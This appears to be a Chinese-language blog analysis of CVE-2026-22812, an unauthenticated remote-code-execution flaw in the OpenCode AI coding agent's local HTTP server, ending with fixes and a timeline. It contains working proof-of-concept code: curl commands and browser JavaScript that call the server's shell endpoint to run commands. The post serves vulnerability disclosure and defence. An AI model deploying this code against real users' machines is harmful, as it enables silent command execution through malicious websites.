Loading... # OpenCode 未认证远程代码执行漏洞 CVE-2026-22812 技术分析 # 一、漏洞概述 ## 1. 基本信息 ### A. 漏洞编号 CVE-2026-22812、GHSA-vxw4-wv6m-9hhh ### B. 影响产品 OpenCode(开源 AI 编码代理工具) ### C. 漏洞类型 未认证远程代码执行(Remote Code Execution, RCE) ### D. 严重程度 CVSS 3.1 评分:8.8(高危) CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ### E. 公开时间 2026 年 1 月 12 日 ## 2. 漏洞描述 OpenCode 在 1.0.216 版本之前,会自动启动一个未经身份验证的 HTTP 服务器。该服务器配置了过于宽松的 CORS(跨域资源共享)策略,允许任意来源的跨域请求。攻击者可以通过两种方式利用此漏洞: 1. 本地进程直接向服务器发送恶意请求 2. 诱导用户访问恶意网站,通过浏览器向本地服务器发送跨域请求 成功利用后,攻击者可以以运行 OpenCode 的用户权限执行任意 shell 命令。 ## 3. 影响范围 ### A. 受影响版本 OpenCode < 1.0.216 ### B. 修复版本 OpenCode >= 1.0.216 # 二、技术分析 ## 1. 根本原因 ### A. 未认证的 HTTP 服务器 OpenCode 启动时会自动创建一个 HTTP 服务器(默认监听端口 4096+),该服务器没有任何身份验证机制。关键代码位于 `cli/cmd/tui/worker.ts:36`,通过 `Server.listen()` 启动服务器。 ### B. 危险的 API 端点 服务器暴露了多个高危端点,无需认证即可调用: POST /session/:id/shell 功能:执行 shell 命令 位置:server.ts:1401 参数:agent(代理类型)、command(要执行的命令) POST /pty 功能:创建交互式终端会话 位置:server.ts:267 GET /file/content?path= 功能:读取任意文件内容 位置:server.ts:1868 ### C. 宽松的 CORS 策略 服务器使用默认的 CORS 配置 `.use(cors())`,这会设置 `Access-Control-Allow-Origin: *`,允许任何网站向本地服务器发送跨域请求。 ## 2. 漏洞原理 ### A. 攻击链路 ```mermaid graph TB A[攻击者] --> B{攻击方式} B -->|本地攻击| C[恶意进程] B -->|浏览器攻击| D[恶意网站] C --> E[http://127.0.0.1:4096] D --> F[浏览器跨域请求] F --> E E --> G[POST /session/:id/shell] G --> H[执行任意命令] H --> I[获取用户权限] ```  ### B. 本地攻击场景 任何本地进程(如恶意 npm 包、被感染的应用程序)都可以直接向本地 OpenCode 服务器发送请求执行命令。由于服务器没有认证机制,攻击者可以直接调用危险端点。 ### C. 浏览器攻击场景 恶意网站可以利用浏览器向本地服务器发起跨域请求。由于 OpenCode 服务器配置了宽松的 CORS 策略,浏览器不会阻止这些请求。 ## 3. 漏洞复现 ### A. 本地利用 PoC ```bash API="http://127.0.0.1:4096" SESSION_ID=$(curl -s -X POST "$API/session" \ -H "Content-Type: application/json" \ -d '{}' | jq -r '.id') curl -s -X POST "$API/session/$SESSION_ID/shell" \ -H "Content-Type: application/json" \ -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}' cat /tmp/pwned.txt ``` ### B. 浏览器利用 PoC 恶意网站可以嵌入以下 JavaScript 代码: ```javascript fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}' }) .then(r => r.json()) .then(session => { fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ agent: 'build', command: 'id > /tmp/pwned.txt' }) }); }); ``` 注意事项: Firefox 浏览器可以直接利用 Chrome 142+ 版本可能会提示本地网络访问权限 # 三、影响分析 ## 1. 攻击向量 ### A. 本地进程攻击 任何运行的恶意软件都可以利用此漏洞获取用户权限执行命令。 ### B. 驱动下载攻击 用户访问恶意网站时,网站通过浏览器向本地 OpenCode 服务器发送请求,静默执行恶意命令。 ### C. 内网横向移动 如果 OpenCode 使用 `--mdns` 标志启动,服务器会绑定到 0.0.0.0 并通过 Bonjour 广播,攻击面扩大到整个本地网络。 ## 2. 潜在危害 执行任意 shell 命令 读取任意文件内容 创建交互式终端会话 获取用户级别的系统权限 进一步提权或部署后门 ## 3. 攻击难度 利用难度:低 无需认证 PoC 代码简单 无需用户交互(浏览器攻击) # 四、修复方案 ## 1. 官方修复 OpenCode 团队在 1.0.216 版本中修复了此漏洞,主要改进: 限制 CORS 允许的来源 添加身份验证机制 移除或保护危险端点 ## 2. 升级建议 所有 OpenCode 用户应立即更新到 1.0.216 或更高版本: ```bash npm update -g opencode-ai@latest ``` 或从官方发布页面下载: https://github.com/anomalyco/opencode/releases ## 3. 临时缓解措施 如果无法立即升级,可以采取以下措施: 停止运行 OpenCode 使用防火墙阻止端口 4096 的入站连接 不要在浏览网页时运行 OpenCode # 五、安全启示 ## 1. 本地服务安全设计原则 本地服务不等于安全服务 必须实施严格的身份验证机制 限制 CORS 策略为必要的来源 ## 2. 开发安全建议 避免在本地服务中暴露高危功能 如果必须暴露,务必添加认证 审查所有 API 端点的安全配置 ## 3. 用户安全意识 开发工具同样存在安全风险 及时更新到最新版本 不要在浏览网页时运行不必要的开发工具 # 六、时间线 2025-11-17:研究者通过邮件向 support@sst.dev 报告漏洞 2026-01-12:漏洞公开披露,同时发布修复版本 2026-01-13:CVE 编号分配(CVE-2026-22812) *** ## 参考资料 1. [Miggo Vulnerability Database - CVE-2026-22812](https://www.miggo.io/vulnerability-database/cve/CVE-2026-22812) 2. [The Hacker Wire - OpenCode Agent RCE via Unauthenticated Local Server](https://www.thehackerwire.com/opencode-agent-rce-via-unauthenticated-local-server/) 3. [SecRSS - OpenCode远程代码执行漏洞 (CVE-2026-22812) 安全风险通告](https://www.secrss.com/articles/87053) 4. [GitHub Security Advisory - GHSA-vxw4-wv6m-9hhh](https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh) 5. [NVD - CVE-2026-22812](https://nvd.nist.gov/vuln/detail/CVE-2026-22812) 最后修改:2026 年 01 月 18 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏